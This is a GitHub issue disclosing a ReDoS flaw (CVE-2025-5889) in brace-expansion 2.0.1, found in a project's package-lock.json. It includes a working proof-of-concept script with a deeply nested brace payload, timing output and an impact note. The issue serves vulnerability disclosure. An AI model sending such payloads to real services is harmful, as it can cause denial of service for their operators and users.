-
Notifications
You must be signed in to change notification settings - Fork 8.2k
Description
Summary:
ReDoS Vulnerability in brace-expansion (CVE-2025-5889)
Description:
A Regular Expression Denial of Service (ReDoS) vulnerability was identified in the brace-expansion package. The affected version 2.0.1 is currently present in the project (package-lock.json). An attacker can craft malicious inputs that cause excessive CPU consumption when processed by the library, leading to a Denial of Service (DoS) condition.
Steps To Reproduce
- Install the vulnerable version:
npm install brace-expansion@2.0.1
- Save the following code as poc.js:
const expand = require("brace-expansion");
function runReDoS(payload, label) {
console.log(`\n[+] Testing: ${label}`);
const start = Date.now();
try {
expand(payload);
} catch (err) {
console.error("Error:", err.message);
}
console.log(`Execution time: ${Date.now() - start} ms`);
}
console.log("Using brace-expansion version:", require("brace-expansion/package.json").version);
// Malicious nested payload
const evilMonster = "{a,".repeat(2000) + "b" + "}".repeat(2000);
runReDoS(evilMonster, "Evil Monster (2000 nested)");
- Execute:
node poc.js
- Result on version 2.0.1:
Using brace-expansion version: 2.0.1
[+] Testing: Evil Monster (2000 nested)
Execution time: 207 ms
Increasing the nesting to 5000 or more results in seconds of CPU lock, demonstrating the DoS potential.
Optional: Your Environment (Browser version, Device, etc)
- Not specified
Optional: Supporting Material/References (Screenshots)
- Impact: Attackers can exploit this flaw by sending malicious inputs (e.g., {a,{a,{a,...}}}), causing significant CPU consumption. This can lead to application slowdown, request queuing, or complete denial of service in production environments where user input is processed by brace-expansion (directly or indirectly via dependencies like minimatch, npm, or others).
https://github.com/modelcontextprotocol/servers/blob/main/package-lock.json#L6452
https://github.com/modelcontextprotocol/servers/blob/main/package-lock.json#L2616
https://github.com/modelcontextprotocol/servers/blob/main/package-lock.json#L6383